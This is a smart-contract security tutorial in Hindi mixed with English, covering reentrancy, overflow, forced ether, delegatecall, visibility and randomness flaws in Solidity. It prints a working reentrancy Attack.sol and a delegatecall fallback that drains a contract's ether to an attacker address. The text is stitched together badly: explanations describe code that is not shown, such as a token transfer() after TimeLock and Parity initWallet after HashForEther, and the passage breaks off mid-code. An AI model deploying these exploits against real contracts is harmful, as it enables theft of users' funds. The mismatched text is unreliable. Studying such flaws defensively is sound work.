uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

यह कॉन्ट्रैक्ट दो सार्वजनिक फ़ंक्शन रखता है। `depositFunds()` और `withdrawFunds()`। `depositFunds()` फ़ंक्शन केवल भेजने वाले के बैलेंस को बढ़ाता है। `withdrawFunds()` फ़ंक्शन भेजने वाले को निकालने के लिए wei की राशि निर्दिष्ट करने की अनुमति देता है। यह केवल तभी सफल होगा जब निकालने के लिए अनुरोधित राशि 1 ether से कम हो और पिछले सप्ताह में कोई निकासी न हुई हो। या ऐसा है?...

संवेदनशीलता \[17\] पंक्ति पर आती है जहाँ हम उपयोगकर्ता को उनकी अनुरोधित ether की राशि भेजते हैं। एक दुर्भावनापूर्ण हमलावर पर विचार करें जो निम्नलिखित कॉन्ट्रैक्ट बनाता है,

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">वास्तविक दुनिया का उदाहरण: The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (विकेंद्रीकृत स्वायत्त संगठन) एथेरियम के प्रारंभिक विकास में हुए प्रमुख हैकों में से एक था। उस समय, कॉन्ट्रैक्ट के पास 150 मिलियन अमेरिकी डॉलर से अधिक थे। री-एंट्रेंसी ने इस हमले में प्रमुख भूमिका निभाई, जो अंततः हार्ड-फोर्क का कारण बना जिसने एथेरियम क्लासिक (ETC) का निर्माण किया। DAO शोषण के अच्छे विश्लेषण के लिए, [Phil Daian की पोस्ट](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) देखें।

<h2 id="ouflow"><span id="SP-2">2. अंकगणितीय ओवर/अंडर फ्लो</span></h2>

एथेरियम वर्चुअल मशीन (EVM) पूर्णांकों के लिए निश्चित-आकार के डेटा प्रकार निर्दिष्ट करती है। इसका मतलब है कि एक पूर्णांक चर केवल संख्याओं की एक निश्चित सीमा को दर्शा सकता है। उदाहरण के लिए, एक `uint8` केवल \[0,255\] की सीमा में संख्याएँ संग्रहीत कर सकता है। `uint8` में `256` संग्रहीत करने का प्रयास करने पर परिणाम `0` होगा। यदि सावधानी न बरती जाए, तो Solidity में चरों का शोषण किया जा सकता है यदि उपयोगकर्ता इनपुट की जाँच न की जाए और ऐसी गणनाएँ की जाएँ जिनके परिणामस्वरूप संख्याएँ उन्हें संग्रहीत करने वाले डेटा प्रकार की सीमा से बाहर होती हैं।

अंकगणितीय ओवर/अंडर फ्लो पर अधिक पढ़ने के लिए, [अपने स्मार्ट कॉन्ट्रैक्ट्स को कैसे सुरक्षित करें](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d), [एथेरियम स्मार्ट कॉन्ट्रैक्ट सर्वोत्तम अभ्यास](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) और [एथेरियम, Solidity और पूर्णांक ओवरफ्लो: 1970 की तरह ब्लॉकचेन प्रोग्रामिंग](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/) देखें।

<h3 id="ou-vuln">भेद्यता</h3>

ओवर/अंडर फ्लो तब होता है जब कोई ऑपरेशन किया जाता है जिसमें एक निश्चित आकार के चर को उस चर के डेटा प्रकार की सीमा के बाहर की संख्या (या डेटा का टुकड़ा) संग्रहीत करने की आवश्यकता होती है।

उदाहरण के लिए, एक `uint8` (8 बिट का अहस्ताक्षरित पूर्णांक, यानी केवल धनात्मक) चर जो अपने मान के रूप में `0` संग्रहीत करता है, उसमें से `1` घटाने पर परिणाम `255` होगा। यह एक अंडरफ्लो है। हमने `uint8` की सीमा से नीचे एक संख्या निर्धारित की है, परिणाम *चक्कर लगा देता है* और `uint8` द्वारा संग्रहीत की जा सकने वाली सबसे बड़ी संख्या देता है। इसी प्रकार, एक `uint8` में `2^8=256` जोड़ने पर चर अपरिवर्तित रहेगा क्योंकि हमने `uint` की पूरी लंबाई के चारों ओर चक्कर लगा लिया है (गणितज्ञों के लिए, यह एक त्रिकोणमितीय फलन के कोण में $2\pi$ जोड़ने के समान है, $\sin(x) = \sin(x+2\pi)$)। डेटा प्रकार की सीमा से बड़ी संख्याएँ जोड़ना ओवरफ्लो कहलाता है। स्पष्टता के लिए, वर्तमान में शून्य मान वाले एक `uint8` में `257` जोड़ने पर परिणाम `1` होगा। कभी-कभी निश्चित प्रकार के चरों को चक्रीय मानना शिक्षाप्रद होता है, जहाँ हम सबसे बड़ी संभावित संग्रहीत संख्या से ऊपर संख्याएँ जोड़ने पर फिर से शून्य से शुरू करते हैं, और शून्य के लिए इसका विपरीत (जहाँ 0 से घटाने पर हम सबसे बड़ी संख्या से उल्टी गिनती शुरू करते हैं, और जितना अधिक घटाते हैं उतनी ही नीचे आते जाते हैं)।

इस प्रकार की संख्यात्मक सावधानियाँ हमलावरों को कोड का दुरुपयोग करने और अप्रत्याशित तर्क प्रवाह बनाने की अनुमति देती हैं। उदाहरण के लिए, नीचे दिए गए टाइम लॉकिंग कॉन्ट्रैक्ट पर विचार करें।

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

यह एक सरल टोकन अनुबंध है जो `transfer()` फ़ंक्शन का उपयोग करता है, जिससे प्रतिभागी अपने टोकन को इधर-उधर स्थानांतरित कर सकते हैं। क्या आप इस अनुबंध में त्रुटि देख सकते हैं?

दोष `transfer()` फ़ंक्शन में है। पंक्ति \[13\] पर दिया गया require स्टेटमेंट अंडरफ्लो का उपयोग करके बायपास किया जा सकता है। एक ऐसे उपयोगकर्ता पर विचार करें जिसके पास कोई शेष राशि नहीं है। वे किसी भी गैर-शून्य `_value` के साथ `transfer()` फ़ंक्शन को कॉल कर सकते हैं और पंक्ति \[13\] के require स्टेटमेंट को पास कर सकते हैं। ऐसा इसलिए है क्योंकि `balances[msg.sender]` शून्य है (और एक `uint256` है), इसलिए किसी भी सकारात्मक राशि (`2^256` को छोड़कर) को घटाने पर ऊपर वर्णित अंडरफ्लो के कारण एक सकारात्मक संख्या प्राप्त होगी। यह पंक्ति \[14\] के लिए भी सत्य है, जहाँ हमारी शेष राशि को एक सकारात्मक संख्या से क्रेडिट किया जाएगा। इस प्रकार, इस उदाहरण में, हमने अंडरफ्लो भेद्यता के कारण मुफ्त टोकन प्राप्त कर लिए हैं।

<h3 id="ou-prevention">निवारक तकनीकें</h3>

(वर्तमान में) अंडर/ओवरफ्लो भेद्यताओं से बचाव के लिए पारंपरिक तकनीक गणितीय लाइब्रेरियों का उपयोग या निर्माण करना है जो मानक गणितीय ऑपरेटरों को प्रतिस्थापित करती हैं; जोड़, घटाव और गुणा (भाग को बाहर रखा गया है क्योंकि यह ओवर/अंडर फ्लो का कारण नहीं बनता है और EVM 0 से भाग देने पर revert करता है)।

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) ने सुरक्षित लाइब्रेरियों के निर्माण और ऑडिटिंग में शानदार काम किया है, जिनका उपयोग Ethereum समुदाय द्वारा किया जा सकता है। विशेष रूप से, उनकी [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) अंडर/ओवर फ्लो भेद्यताओं से बचने के लिए उपयोग करने हेतु एक संदर्भ या लाइब्रेरी है।

यह प्रदर्शित करने के लिए कि इन लाइब्रेरियों का उपयोग Solidity में कैसे किया जाता है, आइए हम Open Zepplin की `SafeMath` लाइब्रेरी का उपयोग करके `TimeLock` अनुबंध को सही करें। ओवरफ्लो-मुक्त अनुबंध इस प्रकार होगा:```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

यह अनुबंध एक सरल खेल का प्रतिनिधित्व करता है (जो स्वाभाविक रूप से [race-conditions](#race-conditions) को आमंत्रित करेगा) जिसमें खिलाड़ी अनुबंध को `0.5 ether` की मात्रा भेजते हैं, इस उम्मीद में कि वे उस खिलाड़ी बनें जो पहले तीन मील के पत्थरों में से एक तक पहुँचता है। मील के पत्थर ether में मापे जाते हैं। जो पहले मील के पत्थर तक पहुँचता है, वह खेल समाप्त होने पर ether का एक हिस्सा दावा कर सकता है। खेल तब समाप्त होता है जब अंतिम मील का पत्थर (`10 ether`) प्राप्त हो जाता है और उपयोगकर्ता अपने पुरस्कारों का दावा कर सकते हैं।

`EtherGame` अनुबंध के साथ समस्याएँ पंक्तियों \[14\] (और संबंधित रूप से \[16\]) और \[32\] पर `this.balance` के खराब उपयोग से आती हैं। एक शरारती हमलावर `selfdestruct()` फ़ंक्शन के माध्यम से थोड़ी मात्रा में ether, मान लीजिए `0.1 ether`, जबरन भेज सकता है ताकि भविष्य के किसी भी खिलाड़ी को मील के पत्थर तक पहुँचने से रोका जा सके। चूँकि सभी वैध खिलाड़ी केवल `0.5 ether` की वृद्धि भेज सकते हैं, `this.balance` अब आधे-पूर्णांक संख्याएँ नहीं रहेगा, क्योंकि इसमें `0.1 ether` का योगदान भी शामिल होगा। यह पंक्तियों \[18\], \[21\] और \[24\] की सभी if शर्तों को सत्य होने से रोकता है।

इससे भी बदतर, एक प्रतिशोधी हमलावर जो मील के पत्थर से चूक गया है, जबरन `10 ether` भेज सकता है (या ether की एक समतुल्य मात्रा जो अनुबंध की शेष राशि को `finalMileStone` से ऊपर धकेल देती है), जो सभी पुरस्कारों को अनुबंध में हमेशा के लिए बंद कर देगा। ऐसा इसलिए है क्योंकि `claimReward()` फ़ंक्शन हमेशा revert करेगा, पंक्ति \[32\] पर require के कारण (अर्थात `this.balance`, `finalMileStone` से अधिक है)।

<h3 id="ether-prevention">निवारक तकनीकें</h3>

यह भेद्यता आमतौर पर `this.balance` के दुरुपयोग से उत्पन्न होती है। अनुबंध तर्क, जब संभव हो, अनुबंध की शेष राशि के सटीक मूल्यों पर निर्भर होने से बचना चाहिए क्योंकि इसे कृत्रिम रूप से हेरफेर किया जा सकता है। यदि `this.balance` के आधार पर तर्क लागू कर रहे हैं, तो अप्रत्याशित शेष राशियों का हिसाब रखना सुनिश्चित करें।

यदि जमा किए गए ether के सटीक मूल्यों की आवश्यकता है, तो एक स्व-परिभाषित चर का उपयोग किया जाना चाहिए जो payable फ़ंक्शनों में बढ़ाया जाता है, ताकि जमा किए गए ether को सुरक्षित रूप से ट्रैक किया जा सके। यह चर `selfdestruct()` कॉल के माध्यम से भेजे गए जबरन ether से प्रभावित नहीं होगा।

इसे ध्यान में रखते हुए, `EtherGame` अनुबंध का एक सही संस्करण इस प्रकार दिख सकता है:```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

यह लाइब्रेरी एक फ़ंक्शन प्रदान करती है जो अनुक्रम में *n*-वीं Fibonacci संख्या उत्पन्न कर सकता है। यह उपयोगकर्ताओं को अनुक्रम की प्रारंभिक संख्या (`start`) बदलने और इस नए अनुक्रम में *n*-वीं Fibonacci-जैसी संख्याएँ गणना करने की अनुमति देता है।

अब आइए एक कॉन्ट्रैक्ट पर विचार करें जो इस लाइब्रेरी का उपयोग करता है।


`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

ध्यान दें कि यह attack contract `calculatedFibNumber` को storage `slot[1]` बदलकर संशोधित करता है। सिद्धांत रूप में, एक हमलावर अपनी पसंद के किसी भी अन्य storage slot को संशोधित कर सकता है ताकि इस contract पर विभिन्न प्रकार के हमले कर सके। मैं सभी पाठकों को प्रोत्साहित करता हूँ कि इन contracts को [Remix](https://remix.ethereum.org) में डालें और इन `delegatecall` फ़ंक्शनों के माध्यम से विभिन्न attack contracts और state changes के साथ प्रयोग करें।

यह भी ध्यान देना महत्वपूर्ण है कि जब हम कहते हैं कि `delegatecall` state-preserving है, तो हम contract के variable names की बात नहीं कर रहे हैं, बल्कि उन वास्तविक storage slots की बात कर रहे हैं जिनकी ओर ये नाम इंगित करते हैं। जैसा कि आप इस उदाहरण से देख सकते हैं, एक साधारण गलती किसी हमलावर को पूरे contract और उसकी ether पर कब्ज़ा करने का अवसर दे सकती है।

<h3 id="dc-prevention">रोकथाम की तकनीकें</h3>

Solidity लाइब्रेरी कॉन्ट्रैक्ट्स को लागू करने के लिए `library` कीवर्ड प्रदान करता है (अधिक विवरण के लिए [Solidity Docs](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries) देखें)। यह सुनिश्चित करता है कि लाइब्रेरी कॉन्ट्रैक्ट stateless और non-self-destructable है। लाइब्रेरीज़ को stateless रहने के लिए बाध्य करना इस अनुभाग में प्रदर्शित storage context की जटिलताओं को कम करता है। Stateless लाइब्रेरीज़ उन हमलों को भी रोकती हैं जिनमें हमलावर लाइब्रेरी की स्थिति को सीधे संशोधित करके उन कॉन्ट्रैक्ट्स को प्रभावित करते हैं जो लाइब्रेरी के कोड पर निर्भर हैं।
सामान्य नियम के रूप में, `DELEGATECALL` का उपयोग करते समय लाइब्रेरी कॉन्ट्रैक्ट और calling contract दोनों के संभावित calling context पर सावधानीपूर्वक ध्यान दें, और जब भी संभव हो, state-less लाइब्रेरीज़ बनाएँ।

<h3 id="dc-example">वास्तविक दुनिया का उदाहरण: पैरिटी मल्टीसिग वॉलेट (दूसरा हैक)</h3>

दूसरा पैरिटी मल्टीसिग वॉलेट हैक इस बात का उदाहरण है कि कैसे अच्छी तरह से लिखे गए लाइब्रेरी कोड के संदर्भ का शोषण किया जा सकता है यदि उसे उसके गैर-अभीष्ट संदर्भ में चलाया जाए। इस हैक की कई अच्छी व्याख्याएँ मौजूद हैं, जैसे यह अवलोकन: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838) Anthony Akentiev द्वारा, यह [stack exchange प्रश्न](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130) और [An In-Depth Look at the Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/)।

इन संदर्भों के अतिरिक्त, आइए उन contracts का पता लगाएँ जिनका शोषण किया गया था। लाइब्रेरी और वॉलेट कॉन्ट्रैक्ट parity github पर [यहाँ](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol) पाए जा सकते हैं।

आइए इस contract के प्रासंगिक पहलुओं को देखें। यहाँ दो रुचिकर contracts शामिल हैं: लाइब्रेरी कॉन्ट्रैक्ट और वॉलेट कॉन्ट्रैक्ट।

लाइब्रेरी कॉन्ट्रैक्ट,```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

ध्यान दें कि `Wallet` अनुबंध मूल रूप से सभी कॉलों को `WalletLibrary` अनुबंध को delegate call के माध्यम से पास करता है। इस कोड स्निपेट में `_walletLibrary` पता स्थिरांक वास्तव में तैनात किए गए `WalletLibrary` अनुबंध के लिए एक प्लेसहोल्डर के रूप में कार्य करता है (जो `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4` पर था)।

इन अनुबंधों का इच्छित संचालन एक सरल कम लागत वाला तैनात करने योग्य `Wallet` अनुबंध रखना था जिसका कोड बेस और मुख्य कार्यक्षमता `WalletLibrary` अनुबंध में थी। दुर्भाग्य से, `WalletLibrary` अनुबंध स्वयं एक अनुबंध है और अपनी स्वयं की स्थिति बनाए रखता है। क्या आप समझ सकते हैं कि यह एक समस्या क्यों हो सकती है?

`WalletLibrary` अनुबंध को स्वयं कॉल भेजना संभव है। विशेष रूप से, `WalletLibrary` अनुबंध को आरंभीकृत किया जा सकता है, और स्वामित्व प्राप्त किया जा सकता है। एक उपयोगकर्ता ने `WalletLibrary` अनुबंध पर `initWallet()` फ़ंक्शन को कॉल करके ऐसा किया, जिससे वह लाइब्रेरी अनुबंध का स्वामी बन गया। उसी उपयोगकर्ता ने बाद में `kill()` फ़ंक्शन को कॉल किया। चूंकि उपयोगकर्ता लाइब्रेरी अनुबंध का स्वामी था, modifier पास हो गया और लाइब्रेरी अनुबंध ने आत्म-विनाश कर लिया। चूंकि अस्तित्व में सभी `Wallet` अनुबंध इस लाइब्रेरी अनुबंध को संदर्भित करते हैं और इस संदर्भ को बदलने के लिए कोई विधि नहीं रखते हैं, उनकी सभी कार्यक्षमता, ether निकालने की क्षमता सहित, `WalletLibrary` अनुबंध के साथ खो जाती है। अधिक सीधे तौर पर, इस प्रकार के सभी Parity multi-sig वॉलेट्स में मौजूद सारा ether तुरंत खो जाता है या स्थायी रूप से अप्राप्य हो जाता है।

<h2 id="visibility"><span id="SP-5">5. डिफ़ॉल्ट दृश्यताएँ</span></h2>

Solidity में फ़ंक्शन में विज़िबिलिटी स्पेसिफायर होते हैं जो यह निर्धारित करते हैं कि फ़ंक्शन को कैसे कॉल करने की अनुमति है। विज़िबिलिटी यह निर्धारित करती है कि फ़ंक्शन को उपयोगकर्ताओं द्वारा बाहरी रूप से, अन्य व्युत्पन्न अनुबंधों द्वारा, केवल आंतरिक रूप से या केवल बाह्य रूप से कॉल किया जा सकता है। चार विज़िबिलिटी स्पेसिफायर हैं, जिनका विस्तार से [Solidity Docs](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters) में वर्णन किया गया है। फ़ंक्शन डिफ़ॉल्ट रूप से `public` होते हैं जिससे उपयोगकर्ता उन्हें बाहरी रूप से कॉल कर सकते हैं। विज़िबिलिटी स्पेसिफायर का गलत उपयोग स्मार्ट अनुबंधों में कुछ विनाशकारी कमजोरियाँ पैदा कर सकता है, जैसा कि इस अनुभाग में चर्चा की जाएगी।

<h3 id="visibility-vuln">भेद्यता</h3>

फ़ंक्शन के लिए डिफ़ॉल्ट विज़िबिलिटी `public` है। इसलिए जो फ़ंक्शन कोई विज़िबिलिटी निर्दिष्ट नहीं करते हैं, वे बाहरी उपयोगकर्ताओं द्वारा कॉल करने योग्य होंगे।  समस्या तब आती है जब डेवलपर्स गलती से उन फ़ंक्शन पर विज़िबिलिटी स्पेसिफायर को अनदेखा कर देते हैं जो निजी (या केवल अनुबंध के भीतर ही कॉल करने योग्य) होने चाहिए।

आइए शीघ्रता से एक साधारण उदाहरण देखें।```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

Notice that neither of the functions have explicitly specified a visibility. Both functions default to `public`. The `initWallet()` function is called in the wallets constructor and sets the owners for the multi-sig wallet as can be seen in the `initMultiowned()` function. Because these functions were accidentally left `public`, an attacker was able to call these functions on deployed contracts, resetting the ownership to the attackers address. Being the owner, the attacker then drained the wallets of all their ether, to the tune of \$31M.

<h2 id="entropy"><span id="SP-6">6. एंट्रॉपी भ्रम</span></h2>

All transactions on the Ethereum blockchain are deterministic state transition operations. Meaning that every transaction modifies the global state of the Ethereum ecosystem and it does so in a calculable way with no uncertainty. This ultimately means that inside the blockchain ecosystem there is no source of entropy or randomness. There is no `rand()` function in Solidity. Achieving decentralised entropy (randomness) is a well established problem and many ideas have been proposed to address this (see for example, [RandDAO](https://github.com/randao/randao) or using a chain of Hashes as described by Vitalik in this [post](https://vitalik.ca/files/randomness.html)).

<h3 id="entropy-vuln">भेद्यता</h3>

Some of the first contracts built on the Ethereum platform were based around gambling. Fundamentally, gambling requires uncertainty (something to bet on), which makes building a gambling system on the blockchain (a deterministic system) rather difficult. It is clear that the uncertainty must come from a source external to the blockchain. This is possible for bets amongst peers (see for example the [commit-reveal technique](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)), however, it is significantly more difficult if you want to implement a contract to act as *the house* (like in blackjack or roulette). A common pitfall is to use future block variables, such as hashes, timestamps, block number or gas limit. The issue with these are that they are controlled by the miner who mines the block and as such are not truly random. Consider, for example, a roulette smart contract with logic that returns a black number if the next block hash ends in an even number. A miner (or miner pool) could bet \$1M on black. If they solve the next block and find the hash ends in an odd number, they would happily not publish their block and mine another until they find a solution with the block hash being an even number (assuming the block reward and fees are less than $1M). Using past or present variables can be even more devastating as Martin Swende demonstrates in his excellent [blog post](http://martin.swende.se/blog/Breaking_the_house.html). Furthermore, using solely block variables mean that the pseudo-random number will be the same for all transactions in a block, so an attacker can multiply their wins by doing many transactions within a block (should there be a maximum bet).

<h3 id="entropy-prevention">रोकथाम की तकनीकें</h3>

The source of entropy (randomness) must be external to the blockchain. This can be done amongst peers with systems such as [commit-reveal](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract), or via changing the trust model to a group of participants (such as in [RandDAO](https://github.com/randao/randao)). This can also be done via a centralised entity, which acts as a randomness oracle. Block variables (in general, there are some exceptions) should not be used to source entropy as they can be manipulated by miners.

<h3 id="entropy-example">वास्तविक-दुनिया का उदाहरण: PRNG कॉन्ट्रैक्ट</h3>

Arseny Reutov wrote a [blog post](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) after he analysed 3649 live smart contracts which were using some sort of pseudo random number generator (PRNG) and found 43 contracts which could be exploited.

<h2 id="contract-reference"><span id="SP-7">7. बाहरी कॉन्ट्रैक्ट संदर्भन</span></h2>

One of the benefits of the Ethereum *global computer* is the ability to re-use code and interact with contracts already deployed on the network. As a result, a large number of contracts reference external contracts and in general operation use external message calls to interact with these contracts. These external message calls can mask malicious actors intentions in some non-obvious ways, which we will discuss.

<h3 id="cr-vuln">भेद्यता</h3>

In Solidity, any address can be cast as a contract regardless of whether the code at the address represents the contract type being cast. This can be deceiving, especially when the author of the contract is trying to hide malicious code. Let us illustrate this with an example:

Consider a piece of code which rudimentarily implements the [Rot13](https://github.com/al1ex/soliditysecurity/blob/HEAD/www.wikipedia.com/rot13) cipher.

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
